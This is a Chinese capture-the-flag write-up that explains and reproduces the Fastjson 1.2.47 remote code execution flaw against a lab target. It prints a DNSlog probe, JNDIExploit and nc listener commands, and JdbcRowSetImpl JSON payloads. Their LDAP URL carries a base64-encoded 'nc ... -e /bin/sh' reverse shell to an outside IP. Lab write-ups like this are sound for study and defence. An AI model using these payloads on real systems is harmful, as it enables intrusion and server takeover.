【一】漏洞介绍:
Fastjson 1.2.47 远程代码执行漏洞
(CNVD-2019-22238)
Fastjson 的 反序列化机制存在缺陷,攻击者通过构造包含 @type 字段的恶意 JSON 数据,结合:
- AutoType 黑名单绕过
- 全局缓存机制滥用
- JNDI 注入
可在服务端触发 远程类加载并执行恶意代码。
【二】漏洞利用条件
- 使用 Fastjson ≤ 1.2.47
- 运行环境为 JDK < 8u191(允许远程类加载)
- 存在可控输入点且服务器对外提供 JSON 解析功能
【三】漏洞危害
1. 远程代码执行(RCE)
攻击者可以通过构造恶意 JSON 数据,在目标服务器上执行任意代码,获得 服务器的完全控制权,无需身份验证。
2. 信息泄露
一旦获取服务器权限,可直接读取数据库、配置文件、环境变量等 敏感信息(如账号密码、Token、密钥等)。
3. 恶意程序部署
攻击者可在目标机器上部署:
- 挖矿木马
- 后门程序
- WebShell
- 持久化控制组件
4. 横向移动
攻击者可借助目标服务器作为跳板,进一步渗透到内网其他系统,扩大攻击范围,形成内网横向攻击链。
5. 拒绝服务(DoS)
若攻击未能成功执行恶意代码,也可能导致服务异常、崩溃,造成 拒绝服务攻击
【四】漏洞复现:
在浏览器打开靶机目标网站:node.hackhub.get-shell.com:43909

简单的信息收集发现右上角存在一个登录接口

此处使用BurpSuite_Pro或者使用Yakit进行抓包
任意输入一个username与password

发送并进行抓包

发现页面传输的用户名密码没有进行相应的算法加密
构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端

修改POST传参为如下数据,发现在dnslog.cn上接收到解析请求,证明此漏洞存在。

{
"@type":"java.net.Inet4Address",
"val":"2vnlig.dnslog.cn"
}

此时开始进行漏洞利用,准备一台带公网IP的VPS,通过 【JNDI注入利用工具】JNDIExploit 工具架设恶意JNDI服务
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的VPS的公网IP>

紧接着重新开启一个会话,在这个公网VPS上开启NC监听服务,用于接收反弹Shell
nc -lvp 12345

构造如下数据包:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://27.X.X.X:1389/Basic/Command/Base64/bmMgMjcuWC5YLlggMTIzNDUgLWUgL2Jpbi9zaA",
"autoCommit":true
}
}
将以上数据包中的以下部分进行修改:
ldap://27.X.X.X:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No
1、替换27.X.X.X为自己的公网VPS的IP
2、将bmMgMjcuWC5YLlggMTIzNDUgLWUgL2Jpbi9zaA进行base64解密

修改后将修改后的内容进行base64加密:

最后将Yakit中的数据包替换:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://14.x.x.x:1389/Basic/Command/Base64/bmMgMTQuMTAzLjE3NS4xOTMgMTIzNDUgLWUgL2Jpbi9zaA",
"autoCommit":true
}
}

接下来直接发送请求

JNDI服务端回显:

NC反弹shell回显:

反弹shell成功,找到flag:
GetShell{D684AEE3-6736-8CFC-9162-37BB8BD2B5C7}